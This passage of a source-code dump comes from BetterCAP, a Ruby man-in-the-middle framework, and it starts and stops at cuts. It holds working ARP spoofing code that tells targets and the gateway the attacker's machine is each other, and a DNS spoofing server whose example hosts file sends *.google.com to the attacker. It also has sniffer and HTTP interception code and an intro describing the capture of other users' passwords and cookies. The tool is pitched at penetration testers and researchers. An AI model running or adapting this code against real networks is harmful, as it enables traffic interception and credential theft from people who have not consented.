| rescue Exception => e 103 | Logger.exception e 104 | end 105 | end 106 | end 107 | 108 | # Append the packet +p+ to the current PCAP file. 109 | def self.append_packet( p ) 110 | begin 111 | @@pcap.array_to_file( 112 | filename: @@ctx.options.sniff.output, 113 | array: [p], 114 | append: true ) unless @@pcap.nil? 115 | rescue Exception => e 116 | Logger.exception e 117 | end 118 | end 119 | 120 | # Setup all needed objects for the sniffer using the +ctx+ Context instance. 121 | def self.setup( ctx ) 122 | @@ctx = ctx 123 | 124 | unless @@ctx.options.sniff.output.nil? 125 | @@pcap = PacketFu::PcapFile.new 126 | Logger.info "[#{'SNIFFER'.green}] Saving packets to #{@@ctx.options.sniff.output} ." 127 | end 128 | 129 | if @@ctx.options.sniff.custom_parser.nil? 130 | @@parsers = Parsers::Base.load_by_names @@ctx.options.sniff.parsers 131 | else 132 | @@parsers = Parsers::Base.load_custom @@ctx.options.sniff.custom_parser 133 | end 134 | 135 | @@cap = Capture.new( 136 | iface: @@ctx.options.core.iface, 137 | filter: @@ctx.options.sniff.filter, 138 | start: true 139 | ) 140 | end 141 | end 142 | end 143 | -------------------------------------------------------------------------------- /tools/bettercap/lib/bettercap/network/protos/base.rb: -------------------------------------------------------------------------------- 1 | # encoding: UTF-8 2 | =begin 3 | 4 | BETTERCAP 5 | 6 | Author : Simone 'evilsocket' Margaritelli 7 | Email : evilsocket@gmail.com 8 | Blog : http://www.evilsocket.net/ 9 | 10 | This project is released under the GPL 3 license. 11 | 12 | =end 13 | 14 | module BetterCap 15 | module Network 16 | module Protos 17 | 18 | class Base 19 | TYPES = [ 20 | :uint8, 21 | :uint16, 22 | :uint16rev, 23 | :uint24, 24 | :uint32, 25 | :uint32rev, 26 | :ip, 27 | :mac, 28 | :bytes, 29 | :string, 30 | :stringz 31 | ].freeze 32 | 33 | def self.method_missing(method_name, *arguments, &block) 34 | type = method_name.to_sym 35 | name = arguments[0] 36 | if TYPES.include?(type) 37 | unless self.class_variables.include?(:@@fields) 38 | class_eval "@@fields = {}" 39 | end 40 | 41 | class_eval "@@fields[:#{name}] = { :type => :#{type}, :opts => #{arguments.length > 1 ? arguments[1] : {}} }" 42 | class_eval "attr_accessor :#{name}" 43 | else 44 | raise NoMethodError, method_name 45 | end 46 | end 47 | 48 | def self.parse( data ) 49 | pkt = self.new 50 | 51 | begin 52 | offset = 0 53 | limit = data.length 54 | value = nil 55 | 56 | self.class_variable_get(:@@fields).each do |name, info| 57 | value = nil 58 | 59 | case info[:type] 60 | when :uint8 61 | value = data[offset].ord 62 | offset += 1 63 | 64 | when :uint16 65 | value = data[offset..offset + 1].unpack('S')[0] 66 | offset += 2 67 | 68 | when :uint16rev 69 | value = data[offset..offset + 1].reverse.unpack('S')[0] 70 | offset += 2 71 | 72 | when :uint24 73 | value = data[offset..offset + 2].unpack('S')[0] 74 | offset += 3 75 | 76 | when :uint32 77 | value = data[offset..offset + 3].unpack('L')[0] 78 | offset += 4 79 | 80 | when :uint32rev 81 | value = data[offset..offset + 3].reverse.unpack('L')[0] 82 | offset += 4 83 | 84 | when :ip 85 | tmp = data[offset..offset + 3].reverse.unpack('L')[0] 86 | value = IPAddr.new(tmp, Socket::AF_INET) 87 | offset += 4 88 | 89 | when :mac 90 | tmp = data[offset..offset + 7] 91 | value = tmp.bytes.map(&(Proc.new {|x| sprintf('%02X',x) })).join(':') 92 | offset += size( info, pkt, 16 ) 93 | 94 | when :bytes 95 | size = size( info, pkt, data.length ) 96 | offset = offset( info, pkt, offset ) 97 | 98 | value = data[offset..offset + size - 1].bytes 99 | offset += size 100 | 101 | when :string 102 | size = size( info, pkt, data.length ) 103 | offset = offset( info, pkt, offset ) 104 | 105 | value = data[offset..offset + size - 1].bytes.pack('c*') 106 | offset += size 107 | 108 | when :stringz 109 | value = "" 110 | loop do 111 | value += data[offset] 112 | offset += 1 113 | break if data[offset].ord == 0x00 114 | end 115 | offset += 1 116 | 117 | end 118 | 119 | if info[:opts].has_key?(:check) 120 | check = info[:opts][:check] 121 | check = check.force_encoding('ASCII-8BIT') if check.respond_to? :force_encoding 122 | if value != check 123 | raise "Unexpected value '#{value}', expected '#{check}' ." 124 | end 125 | end 126 | 127 | pkt.send("#{name}=", value) 128 | end 129 | 130 | rescue Exception => e 131 | #puts e.message 132 | #puts e.backtrace.join("\n") 133 | pkt = nil 134 | end 135 | 136 | pkt 137 | end 138 | 139 | def self.size( info, pkt, default ) 140 | return default unless info[:opts].has_key?(:size) 141 | return info[:opts][:size] if info[:opts][:size].is_a?(Integer) 142 | return pkt.send( info[:opts][:size] ) 143 | end 144 | 145 | def self.offset( info, pkt, default ) 146 | return default unless info[:opts].has_key?(:offset) 147 | return info[:opts][:offset] if info[:opts][:offset].is_a?(Integer) 148 | return default + pkt.send( info[:opts][:offset] ) 149 | end 150 | end 151 | 152 | end 153 | end 154 | end 155 | -------------------------------------------------------------------------------- /tools/bettercap/lib/bettercap/spoofers/base.rb: -------------------------------------------------------------------------------- 1 | # encoding: UTF-8 2 | =begin 3 | 4 | BETTERCAP 5 | 6 | Author : Simone 'evilsocket' Margaritelli 7 | Email : evilsocket@gmail.com 8 | Blog : http://www.evilsocket.net/ 9 | 10 | This project is released under the GPL 3 license. 11 | 12 | =end 13 | module BetterCap 14 | module Spoofers 15 | # Base class for BetterCap::Spoofers modules. 16 | class Base 17 | # Hash of available spoofers ( spoofer name -> class name ) 18 | @@loaded = {} 19 | 20 | class << self 21 | # Called when this base class is inherited from one of the spoofers. 22 | def inherited(subclass) 23 | name = subclass.name.split('::')[2].upcase 24 | @@loaded[name] = subclass.name 25 | end 26 | 27 | # Return a list of available spoofers names. 28 | def available 29 | @@loaded.keys 30 | end 31 | 32 | # Create an instance of a BetterCap::Spoofers object given its +name+. 33 | # Will raise a BetterCap::Error if +name+ is not valid. 34 | def get_by_name(name) 35 | raise BetterCap::Error, "Invalid spoofer name '#{name}'!" unless available.include? name 36 | BetterCap::Loader.load(@@loaded[name]).new 37 | end 38 | end 39 | 40 | # Will raise NotImplementedError . 41 | def initialize 42 | not_implemented_method! 43 | end 44 | # Will raise NotImplementedError . 45 | def start 46 | not_implemented_method! 47 | end 48 | # Will raise NotImplementedError . 49 | def stop 50 | not_implemented_method! 51 | end 52 | 53 | private 54 | 55 | # Will create a PacketFu::Capture object using the specified +filter+ and 56 | # will yield every parsed packet to the given code block. 57 | def sniff_packets( filter ) 58 | begin 59 | @capture = PacketFu::Capture.new( 60 | iface: @ctx.options.core.iface, 61 | filter: filter, 62 | start: true 63 | ) 64 | rescue Exception => e 65 | Logger.error e.message 66 | end 67 | 68 | @capture.stream.each do |p| 69 | begin 70 | unless @running 71 | Logger.debug 'Stopping thread ...' 72 | Thread.exit 73 | break 74 | end 75 | 76 | pkt = PacketFu::Packet.parse p rescue nil 77 | 78 | yield( pkt ) unless pkt.nil? 79 | 80 | rescue Exception => e 81 | Logger.error e.message 82 | end 83 | end 84 | end 85 | 86 | # Main spoof loop repeated each +delay+ seconds. 87 | def spoof_loop( delay ) 88 | loop do 89 | unless @running 90 | Logger.debug 'Stopping spoofing thread ...' 91 | Thread.exit 92 | break 93 | end 94 | 95 | Logger.debug "Spoofing #{@ctx.targets.size} targets ..." unless @ctx.targets.empty? 96 | 97 | update_targets! 98 | 99 | @ctx.targets.each do |target| 100 | yield(target) 101 | end 102 | 103 | sleep(delay) 104 | end 105 | end 106 | 107 | # Get the MAC address of the gateway and update it. 108 | def update_gateway! 109 | unless @ctx.gateway.spoofable? 110 | hw = Network.get_hw_address( @ctx, @ctx.gateway.ip ) 111 | raise BetterCap::Error, "Couldn't determine router MAC" if ( @ctx.options.need_gateway? and hw.nil? ) 112 | @ctx.gateway.mac = hw unless hw.nil? 113 | end 114 | 115 | ###Logger.info "[#{'GATEWAY'.green}] #{@ctx.gateway.to_s(false)}" 116 | end 117 | 118 | # Update each target that needs to be updated. 119 | def update_targets! 120 | @ctx.targets.each do |target| 121 | # targets could change, update mac addresses if needed 122 | if target.mac.nil? 123 | hw = Network.get_hw_address( @ctx, target.ip ) 124 | if hw.nil? 125 | Logger.warn "Couldn't determine target #{target.ip} MAC address!" 126 | next 127 | else 128 | target.mac = hw 129 | ###Logger.info "[#{'TARGET'.green}] #{target.to_s(false)}" 130 | end 131 | # target was specified by MAC address 132 | elsif target.ip_refresh 133 | ip = Network.get_ip_address( @ctx, target.mac ) 134 | if ip.nil? 135 | Logger.warn "Couldn't determine target #{target.mac} IP address!" 136 | next 137 | else 138 | doprint = ( target.ip.nil? or target.ip != ip ) 139 | target.ip = ip 140 | ###Logger.info("[#{'TARGET'.green}] #{target.to_s(false)}") if doprint 141 | end 142 | end 143 | end 144 | end 145 | 146 | # Used to raise a NotImplementedError exception. 147 | def not_implemented_method! 148 | raise NotImplementedError, 'Spoofers::Base: Unimplemented method!' 149 | end 150 | end 151 | end 152 | end 153 | -------------------------------------------------------------------------------- /tools/bettercap/lib/bettercap/proxy/thread_pool.rb: -------------------------------------------------------------------------------- 1 | # encoding: UTF-8 2 | =begin 3 | 4 | BETTERCAP 5 | 6 | Some code copyright (c) 2005, Zed Shaw 7 | Copyright (c) 2011, Evan Phoenix 8 | Copyright (c) 2015, Simone Margaritelli 9 | 10 | This project is released under the GPL 3 license. 11 | 12 | =end 13 | 14 | module BetterCap 15 | module Proxy 16 | # Thread pool class used by the BetterCap::Proxy::*. 17 | class ThreadPool 18 | 19 | # Maintain a minimum of +min+ and maximum of +max+ threads 20 | # in the pool. 21 | # 22 | # The block passed is the work that will be performed in each 23 | # thread. 24 | def initialize(min, max, *extra, &block) 25 | @not_empty = ConditionVariable.new 26 | @not_full = ConditionVariable.new 27 | @mutex = Mutex.new 28 | 29 | @todo = [] 30 | 31 | @spawned = 0 32 | @waiting = 0 33 | 34 | @min = Integer(min) 35 | @max = Integer(max) 36 | @block = block 37 | @extra = extra 38 | 39 | @shutdown = false 40 | 41 | @trim_requested = 0 42 | 43 | @workers = [] 44 | 45 | @mutex.synchronize do 46 | @min.times { spawn_thread } 47 | end 48 | end 49 | 50 | # Number of spawned threads in the pool. 51 | attr_reader :spawned 52 | 53 | # How many objects have yet to be processed by the pool? 54 | # 55 | def backlog 56 | @mutex.synchronize { @todo.size } 57 | end 58 | 59 | # :nodoc: 60 | # 61 | # Must be called with @mutex held! 62 | # 63 | def spawn_thread 64 | @spawned += 1 65 | 66 | th = Thread.new do 67 | todo = @todo 68 | block = @block 69 | mutex = @mutex 70 | not_empty = @not_empty 71 | not_full = @not_full 72 | 73 | extra = @extra.map { |i| i.new } 74 | 75 | while true 76 | work = nil 77 | 78 | continue = true 79 | 80 | mutex.synchronize do 81 | while todo.empty? 82 | if @trim_requested > 0 83 | @trim_requested -= 1 84 | continue = false 85 | break 86 | end 87 | 88 | if @shutdown 89 | continue = false 90 | break 91 | end 92 | 93 | @waiting += 1 94 | not_full.signal 95 | not_empty.wait mutex 96 | @waiting -= 1 97 | end 98 | 99 | work = todo.shift if continue 100 | end 101 | 102 | break unless continue 103 | 104 | begin 105 | block.call(work, *extra) 106 | rescue Exception 107 | end 108 | end 109 | 110 | mutex.synchronize do 111 | @spawned -= 1 112 | @workers.delete th 113 | end 114 | end 115 | 116 | @workers << th 117 | 118 | th 119 | end 120 | 121 | private :spawn_thread 122 | 123 | # Add +work+ to the todo list for a Thread to pickup and process. 124 | def <<(work) 125 | @mutex.synchronize do 126 | if @shutdown 127 | raise "Unable to add work while shutting down" 128 | end 129 | 130 | @todo << work 131 | 132 | if @waiting < @todo.size and @spawned < @max 133 | spawn_thread 134 | end 135 | 136 | @not_empty.signal 137 | end 138 | end 139 | 140 | def wait_until_not_full 141 | @mutex.synchronize do 142 | until @todo.size - @waiting < @max - @spawned or @shutdown 143 | @not_full.wait @mutex 144 | end 145 | end 146 | end 147 | 148 | # If too many threads are in the pool, tell one to finish go ahead 149 | # and exit. If +force+ is true, then a trim request is requested 150 | # even if all threads are being utilized. 151 | # 152 | def trim(force=false) 153 | @mutex.synchronize do 154 | if (force or @waiting > 0) and @spawned - @trim_requested > @min 155 | @trim_requested += 1 156 | @not_empty.signal 157 | end 158 | end 159 | end 160 | 161 | # If there are dead threads in the pool make them go away while decreasing 162 | # spawned counter so that new healthy threads could be created again. 163 | def reap 164 | @mutex.synchronize do 165 | dead_workers = @workers.reject(&:alive?) 166 | 167 | dead_workers.each do |worker| 168 | worker.kill 169 | @spawned -= 1 170 | end 171 | 172 | @workers -= dead_workers 173 | end 174 | end 175 | 176 | # Tell all threads in the pool to exit and wait for them to finish. 177 | # 178 | def shutdown( join_threads = true ) 179 | threads = @mutex.synchronize do 180 | @shutdown = true 181 | @not_empty.broadcast 182 | @not_full.broadcast 183 | # dup workers so that we join them all safely 184 | @workers.dup 185 | end 186 | 187 | threads.each(&:join) if join_threads 188 | 189 | @spawned = 0 190 | @workers = [] 191 | end 192 | end 193 | end 194 | end 195 | -------------------------------------------------------------------------------- /tools/bettercap/docs/intro.md: -------------------------------------------------------------------------------- 1 | Introduction 2 | ============ 3 | 4 | BetterCAP is a powerful, flexible and portable tool created to perform various types of **MITM** attacks against a network, manipulate **HTTP**, **HTTPS** and **TCP** traffic in realtime, sniff for credentials and much more. 5 | 6 | ## You Are the Man in the Middle 7 | 8 | What is a **MITM** ( *Man In The Middle* ) attack? Let's ask [Wikipedia](https://en.wikipedia.org/wiki/Man-in-the-middle_attack)! 9 | 10 | In cryptography and computer security, a man-in-the-middle attack (often abbreviated to MITM, MitM, MIM, MiM attack or MITMA) is an attack where the attacker secretly relays and possibly alters the communication between two parties who believe they are directly communicating with each other. Man-in-the-middle attacks can be thought about through a chess analogy. 11 | Mallory, who barely knows how to play chess, claims that she can play two grandmasters simultaneously and either win one game or draw both. She waits for the first grandmaster to make a move and then makes this same move against the second grandmaster. When the second grandmaster responds, Mallory makes the same play against the first. She plays the entire game this way and cannot lose. 12 | A man-in-the-middle attack is a similar strategy and can be used against many cryptographic protocols. One example of man-in-the-middle attacks is active eavesdropping, in which the attacker makes independent connections with the victims and relays messages between them to make them believe they are talking directly to each other over a private connection, when in fact the entire conversation is controlled by the attacker. The attacker must be able to intercept all relevant messages passing between the two victims and inject new ones. This is straightforward in many circumstances; for example, an attacker within reception range of an unencrypted Wi-Fi wireless access point, can insert himself as a man-in-the-middle. 13 | 14 | This is quite a generic description, mostly because ( if we're talking about network MITM attacks ), the logic and details heavily rely on the technique being used ( more in the spoofing section ). 15 | 16 | Nevertheless we can simplify the concept with an example. When you connect to some network ( your home network, some public WiFi, StarBucks, etc ), the router/switch is responsible for forwarding all of your packets to the correct destination, during a MITM attack we "force" the network to consider our device as the router ( we "spoof" the original router/switch address in some way ): 17 | 18 | ![network mitm](/_static/img/mitm.jpg) 19 | 20 | Once this happens, all of the network traffic goes through your computer instead of the legit router/switch and at that point you can do pretty much everything you want, from just sniffing for specific data ( emails, passwords, cookies, etc of other people on your network ) to actively intercepting and proxying all the requests of some specific protocol in order to modify them on the fly ( you can, for instance, replace all images of all websites being visited by everyone, kill connections, etc ). 21 | 22 | BetterCap is responsible for giving the security researcher everything he needs in **one single tool** which simply works, on GNU/Linux, Mac OS X and OpenBSD systems. 23 | 24 | ## Use Cases 25 | 26 | You might think that BetterCAP is just another tool which helps script-kiddies to harm networks ... but it's much more than that, its use cases are many, for instance: 27 | 28 | * Many professional penetration testers find a great companion in bettercap since its very first release. 29 | * Reverse engineers are using it in order to reverse or modify closed network protocols. 30 | * Mobile/IoT security researchers are exploiting bettercap capabilities to test the security of mobile systems. 31 | 32 | ## Why another MITM tool? 33 | 34 | This is exactly what you are thinking right now, isn't it? :D But allow yourself to think about it for 5 more minutes ... what you should be really asking is: 35 | 36 | > Does a complete, modular, portable and easy to extend MITM tool actually exist? 37 | 38 | If your answer is "ettercap", let me tell you something: 39 | 40 | * Ettercap was a great tool, but it made its time. 41 | * Ettercap filters do not work most of the times, are outdated and hard to implement due to the specific language they're implemented in. 42 | * Ettercap is freaking unstable on big networks ... try to launch the host discovery on a bigger network rather than the usual /24 ;) 43 | * Yeah you can see connections and raw pcap stuff, nice toy, but as a professional researcher I want to see only relevant stuff. 44 | * Unless you're a C/C++ developer, you can't easily extend ettercap or make your own module. 45 | 46 | Moreover: 47 | 48 | * Ettercap's and MITMf's ICMP spoofing is completely useless, [ours is not](http://www.evilsocket.net/2016/01/10/bettercap-and-the-first-real-icmp-redirect-attack/). 49 | * Ettercap does **not** provide a builtin and modular HTTP(S) and TCP transparent proxies, we do. 50 | * Ettercap does **not** provide a smart and fully customizable credentials sniffer, we do. 51 | -------------------------------------------------------------------------------- /tools/bettercap/lib/bettercap/spoofers/arp.rb: -------------------------------------------------------------------------------- 1 | # encoding: UTF-8 2 | =begin 3 | 4 | BETTERCAP 5 | 6 | Author : Simone 'evilsocket' Margaritelli 7 | Email : evilsocket@gmail.com 8 | Blog : http://www.evilsocket.net/ 9 | 10 | This project is released under the GPL 3 license. 11 | 12 | =end 13 | 14 | module BetterCap 15 | module Spoofers 16 | # This class is responsible of performing ARP spoofing on the network. 17 | class Arp < Base 18 | # Initialize the BetterCap::Spoofers::Arp object. 19 | def initialize 20 | @ctx = Context.get 21 | @forwarding = @ctx.firewall.forwarding_enabled? 22 | @spoof_thread = nil 23 | @sniff_thread = nil 24 | @capture = nil 25 | @running = false 26 | 27 | update_gateway! 28 | end 29 | 30 | # Send a spoofed ARP reply to the target identified by the +daddr+ IP address 31 | # and +dmac+ MAC address, spoofing the +saddr+ IP address and +smac+ MAC 32 | # address as the source device. 33 | def send_spoofed_packet( saddr, smac, daddr, dmac ) 34 | pkt = PacketFu::ARPPacket.new 35 | pkt.eth_saddr = smac 36 | pkt.eth_daddr = dmac 37 | pkt.arp_saddr_mac = smac 38 | pkt.arp_daddr_mac = dmac 39 | pkt.arp_saddr_ip = saddr 40 | pkt.arp_daddr_ip = daddr 41 | pkt.arp_opcode = 2 42 | 43 | @ctx.packets.push(pkt) 44 | end 45 | 46 | # Start the ARP spoofing. 47 | def start 48 | Logger.debug "Starting ARP spoofer ( #{@ctx.options.spoof.half_duplex ? 'Half' : 'Full'} Duplex ) ..." 49 | 50 | stop() if @running 51 | @running = true 52 | 53 | if @ctx.options.spoof.kill 54 | Logger.warn "Disabling packet forwarding." 55 | @ctx.firewall.enable_forwarding(false) if @forwarding 56 | else 57 | @ctx.firewall.enable_forwarding(true) unless @forwarding 58 | end 59 | 60 | @sniff_thread = Thread.new { arp_watcher } 61 | @spoof_thread = Thread.new { arp_spoofer } 62 | end 63 | 64 | # Stop the ARP spoofing, reset firewall state and restore targets ARP table. 65 | def stop 66 | raise 'ARP spoofer is not running' unless @running 67 | 68 | Logger.debug 'Stopping ARP spoofer ...' 69 | 70 | @running = false 71 | begin 72 | @spoof_thread.exit 73 | rescue 74 | end 75 | 76 | Logger.debug "Restoring ARP table of #{@ctx.targets.size} targets ..." 77 | 78 | # @ctx.targets.each do |target| 79 | # if target.spoofable? 80 | # 5.times do 81 | # spoof(target, true) 82 | # sleep 0.3 83 | # end 84 | # end 85 | # end 86 | 87 | Logger.debug "Resetting packet forwarding to #{@forwarding} ..." 88 | 89 | @ctx.firewall.enable_forwarding( @forwarding ) 90 | end 91 | 92 | private 93 | 94 | # Send an ARP spoofing packet to +target+, if +restore+ is true it will 95 | # restore its ARP cache instead. 96 | def spoof( target, restore = false ) 97 | if restore 98 | send_spoofed_packet( @ctx.gateway.ip, @ctx.gateway.mac, target.ip, 'ff:ff:ff:ff:ff:ff' ) 99 | send_spoofed_packet( target.ip, target.mac, @ctx.gateway.ip, 'ff:ff:ff:ff:ff:ff' ) unless @ctx.options.spoof.half_duplex 100 | @ctx.targets.each do |e| 101 | if e.spoofable? and e.ip != target.ip and e.ip != @ctx.gateway.ip 102 | send_spoofed_packet( e.ip, e.mac, target.ip, 'ff:ff:ff:ff:ff:ff' ) 103 | end 104 | end 105 | else 106 | # tell the target we're the gateway 107 | send_spoofed_packet( @ctx.gateway.ip, @ctx.iface.mac, target.ip, target.mac ) 108 | # tell the gateway we're the target 109 | send_spoofed_packet( target.ip, @ctx.iface.mac, @ctx.gateway.ip, @ctx.gateway.mac ) unless @ctx.options.spoof.half_duplex 110 | # tell the target we're everybody else in the network :D 111 | @ctx.targets.each do |e| 112 | if e.spoofable? and e.ip != target.ip and e.ip != @ctx.gateway.ip 113 | send_spoofed_packet( e.ip, @ctx.iface.mac, target.ip, target.mac ) 114 | end 115 | end 116 | end 117 | end 118 | 119 | # Main spoofer loop. 120 | def arp_spoofer 121 | spoof_loop(1) { |target| 122 | if target.spoofable? 123 | spoof(target) 124 | end 125 | } 126 | end 127 | 128 | # Return true if the +pkt+ packet is an ARP 'who-has' query coming 129 | # from some network endpoint. 130 | def is_arp_query?(pkt) 131 | # we're only interested in 'who-has' packets 132 | pkt.arp_opcode == 1 and \ 133 | pkt.arp_dst_mac.to_s == '00:00:00:00:00:00' and \ 134 | pkt.arp_src_ip.to_s != @ctx.iface.ip 135 | end 136 | 137 | # Will watch for incoming ARP requests and spoof the source address. 138 | def arp_watcher 139 | Logger.debug 'ARP watcher started ...' 140 | 141 | sniff_packets('arp') { |pkt| 142 | if is_arp_query?(pkt) 143 | Logger.info "[#{'ARP'.green}] #{pkt.arp_src_ip.to_s} is asking who #{pkt.arp_dst_ip.to_s} is." 144 | send_spoofed_packet pkt.arp_dst_ip.to_s, @ctx.iface.mac, pkt.arp_src_ip.to_s, pkt.arp_src_mac.to_s 145 | end 146 | } 147 | end 148 | end 149 | end 150 | end 151 | -------------------------------------------------------------------------------- /tools/bettercap/lib/bettercap/network/servers/dnsd.rb: -------------------------------------------------------------------------------- 1 | # encoding: UTF-8 2 | =begin 3 | 4 | BETTERCAP 5 | 6 | Author : Simone 'evilsocket' Margaritelli 7 | Email : evilsocket@gmail.com 8 | Blog : http://www.evilsocket.net/ 9 | 10 | This project is released under the GPL 3 license. 11 | 12 | =end 13 | 14 | module BetterCap 15 | module Network 16 | module Servers 17 | 18 | # Class to wrap RubyDNS::RuleBasedServer and add some utility methods. 19 | class DnsWrapper < RubyDNS::RuleBasedServer 20 | # List of redirection rules. 21 | attr_accessor :rules 22 | # we need this in order to add rules at runtime. 23 | @@instance = nil 24 | 25 | # Return the active instance of this object. 26 | def self.get 27 | @@instance 28 | end 29 | 30 | # Instantiate a server with a block. 31 | def initialize(options = {}, &block) 32 | super(options,&block) 33 | @rules = [] 34 | @@instance = self 35 | end 36 | # Give a name and a record type, try to match a rule and use it for processing the given arguments. 37 | def process(name, resource_class, transaction) 38 | Logger.debug "[#{'DNS'.green}] Received #{resource_class.name} request for #{name} ..." 39 | super 40 | end 41 | end 42 | 43 | # Simple DNS server class used for DNS spoofing. 44 | class DNSD 45 | # Initialize the DNS server with the specified +address+ and tcp/udp +port+. 46 | # The server will load +hosts_filename+ composed by 'regexp -> ip' entries 47 | # to do custom DNS spoofing/resolution. 48 | def initialize( hosts_filename = nil, address = '0.0.0.0', port = 5300 ) 49 | @port = port 50 | @address = address 51 | @hosts = hosts_filename 52 | @server = nil 53 | @ifaces = [ 54 | [:udp, address, port], 55 | [:tcp, address, port] 56 | ] 57 | end 58 | 59 | # Add a rule to the DNS resolver at runtime. 60 | def add_rule!( exp, addr ) 61 | Logger.debug "[#{'DNS'.green}] Adding rule: '#{exp}' -> '#{addr}' ..." 62 | 63 | block = Proc.new do |transaction| 64 | Logger.info "[#{transaction.options[:peer]} > #{'DNS'.green}] Received request for '#{transaction.question.to_s.yellow}', sending spoofed reply #{addr.yellow} ..." 65 | begin 66 | transaction.respond!(addr) 67 | rescue Exception => e 68 | Logger.warn "[#{'DNS'.green}] #{e.message}" 69 | Logger.exception e 70 | end 71 | end 72 | 73 | DnsWrapper.get.rules << RubyDNS::RuleBasedServer::Rule.new( [ Regexp.new(exp), Resolv::DNS::Resource::IN::A ], block ) 74 | end 75 | 76 | # Start the server. 77 | def start 78 | Logger.info "[#{'DNS'.green}] Starting on #{@address}:#{@port} ..." 79 | 80 | options = { 81 | :listen => @ifaces, 82 | :asynchronous => true, 83 | :server_class => DnsWrapper 84 | } 85 | 86 | begin 87 | RubyDNS::run_server( options ) do 88 | # Suppress RubyDNS logging. 89 | @logger.level = ::Logger::ERROR 90 | @upstream ||= RubyDNS::Resolver.new([[:udp, "8.8.8.8", 53], [:tcp, "8.8.8.8", 53]]) 91 | 92 | # Default DNS handler 93 | otherwise do |transaction| 94 | Logger.debug "[#{transaction.options[:peer]} > #{'DNS'.green}] Received request for '#{transaction.question.to_s.yellow}' -> upstream DNS" 95 | transaction.passthrough!(@upstream) 96 | end 97 | end 98 | 99 | unless @hosts.nil? 100 | DNSD.parse_hosts( @hosts ).each do |exp,addr| 101 | add_rule!( exp, addr ) 102 | end 103 | end 104 | rescue Errno::EADDRINUSE 105 | raise BetterCap::Error, "[DNS] It looks like there's another process listening on #{@address}:#{@port}, please chose a different port." 106 | end 107 | end 108 | 109 | # Stop the server. 110 | def stop; end 111 | 112 | # Parse hosts from +filename+, example host file: 113 | # 114 | # # *.google.com will point to the attacker's computer. 115 | # local .*google\.com 116 | # 117 | # # a custom redirection 118 | # 12.12.12.12 wtf.idontexist.com 119 | def self.parse_hosts( filename ) 120 | raise BetterCap::Error, "File '#{filename}' does not exist." unless File.exist?(filename) 121 | 122 | hosts = {} 123 | File.open(filename).each_with_index do |line,lineno| 124 | line = line.strip 125 | # skip empty lines and comments 126 | next if line.empty? or line[0] == '#' 127 | if line =~ /^([^\s]+)\s+(.+)$/ 128 | address = $1 129 | expression = $2 130 | 131 | if address == 'local' 132 | address = Context.get.iface.ip.to_s 133 | end 134 | 135 | raise BetterCap::Error, "Invalid IPv4 address '#{address}' on line #{lineno + 1} of '#{filename}'." \ 136 | unless Network::Validator.is_ip?(address) 137 | 138 | begin 139 | hosts[ expression ] = address 140 | rescue RegexpError 141 | raise BetterCap::Error, "Invalid expression '#{expression}' on line #{lineno + 1} of '#{filename}'." 142 | end 143 | end 144 | end 145 | 146 | hosts 147 | end 148 | end 149 | 150 | end 151 | end 152 | end 153 | -------------------------------------------------------------------------------- /tools/bettercap/lib/bettercap/proxy/http/request.rb: -------------------------------------------------------------------------------- 1 | # encoding: UTF-8 2 | =begin 3 | 4 | BETTERCAP 5 | 6 | Author : Simone 'evilsocket' Margaritelli 7 | Email : evilsocket@gmail.com 8 | Blog : http://www.evilsocket.net/ 9 | 10 | This project is released under the GPL 3 license. 11 | 12 | =end 13 | 14 | module BetterCap 15 | module Proxy 16 | module HTTP 17 | 18 | # HTTP request parser. 19 | class Request 20 | # HTTP method. 21 | attr_reader :method 22 | # HTTP version. 23 | attr_reader :version 24 | # Request path + query. 25 | attr_reader :path 26 | # Hostname. 27 | attr_reader :host 28 | # Request port. 29 | attr_accessor :port 30 | # Request headers hash. 31 | attr_reader :headers 32 | # Content length. 33 | attr_reader :content_length 34 | # Request body. 35 | attr_accessor :body 36 | # Client address. 37 | attr_accessor :client 38 | 39 | # Initialize this object setting #port to +default_port+. 40 | def initialize( default_port = 80 ) 41 | @lines = [] 42 | @method = nil 43 | @version = '1.1' 44 | @path = nil 45 | @host = nil 46 | @port = default_port 47 | @headers = {} 48 | @content_length = 0 49 | @body = nil 50 | @client = "" 51 | end 52 | 53 | # Read lines from the +sock+ socket and parse them. 54 | # Will raise an exception if the #hostname can not be parsed. 55 | def read(sock) 56 | # read the first line 57 | self << sock.readline 58 | 59 | loop do 60 | line = sock.readline 61 | self << line 62 | 63 | if line.chomp == '' 64 | break 65 | end 66 | end 67 | 68 | raise "Couldn't extract host from the request." unless @host 69 | 70 | # keep reading the request body if needed 71 | if @content_length > 0 72 | @body = sock.read(@content_length) 73 | end 74 | end 75 | 76 | # Return a Request object from a +raw+ string. 77 | def self.parse(raw) 78 | req = Request.new 79 | lines = raw.split("\n") 80 | lines.each_with_index do |line,i| 81 | req << line 82 | if line.chomp == '' 83 | req.body = lines[i + 1..lines.size].join("\n") 84 | break 85 | end 86 | end 87 | req 88 | end 89 | 90 | # Parse a single request line, patch it if needed and append it to #lines. 91 | def <<(line) 92 | line = line.chomp 93 | 94 | Logger.debug " REQUEST LINE: '#{line}'" 95 | 96 | # is this the first line '<VERB> <URI> HTTP/<VERSION>' ? 97 | if line =~ /^(\w+)\s+(\S+)\s+HTTP\/([\d\.]+)\s*$/ 98 | @method = $1 99 | @path = $2 100 | @version = $3 101 | 102 | # fix url 103 | if @path.include? '://' 104 | uri = URI::parse @path 105 | @path = "#{uri.path}" + ( uri.query ? "?#{uri.query}" : '' ) 106 | end 107 | 108 | # collect and fix headers 109 | elsif line =~ /^([^:\s]+)\s*:\s*(.+)$/i 110 | name = $1 111 | value = $2 112 | 113 | case name 114 | when 'Host' 115 | @host = value 116 | if @host =~ /([^:]*):([0-9]*)$/ 117 | @host = $1 118 | @port = $2.to_i 119 | end 120 | when 'Content-Length' 121 | @content_length = value.to_i 122 | # we don't want to have hundreds of threads running 123 | when 'Connection' 124 | value = 'close' 125 | when 'Proxy-Connection' 126 | name = 'Connection' 127 | # disable gzip, chunked, etc encodings 128 | when 'Accept-Encoding' 129 | value = 'identity' 130 | end 131 | 132 | @headers[name] = value 133 | end 134 | end 135 | 136 | # Return true if this is a POST request, otherwise false. 137 | def post? 138 | @method == 'POST' 139 | end 140 | 141 | # Return a string representation of the HTTP request. 142 | def to_s 143 | raw = "#{@method} #{@path} HTTP/#{@version}\n" 144 | 145 | @headers.each do |name,value| 146 | raw << "#{name}: #{value}\n" 147 | end 148 | 149 | raw << "\n" 150 | raw << ( @body || '' ) 151 | raw 152 | end 153 | 154 | # Return SCHEMA://HOST 155 | def base_url 156 | "#{port == 443 ? 'https' : 'http'}://#{@host}" 157 | end 158 | 159 | # Return the full request URL trimming it at +max_length+ characters. 160 | def 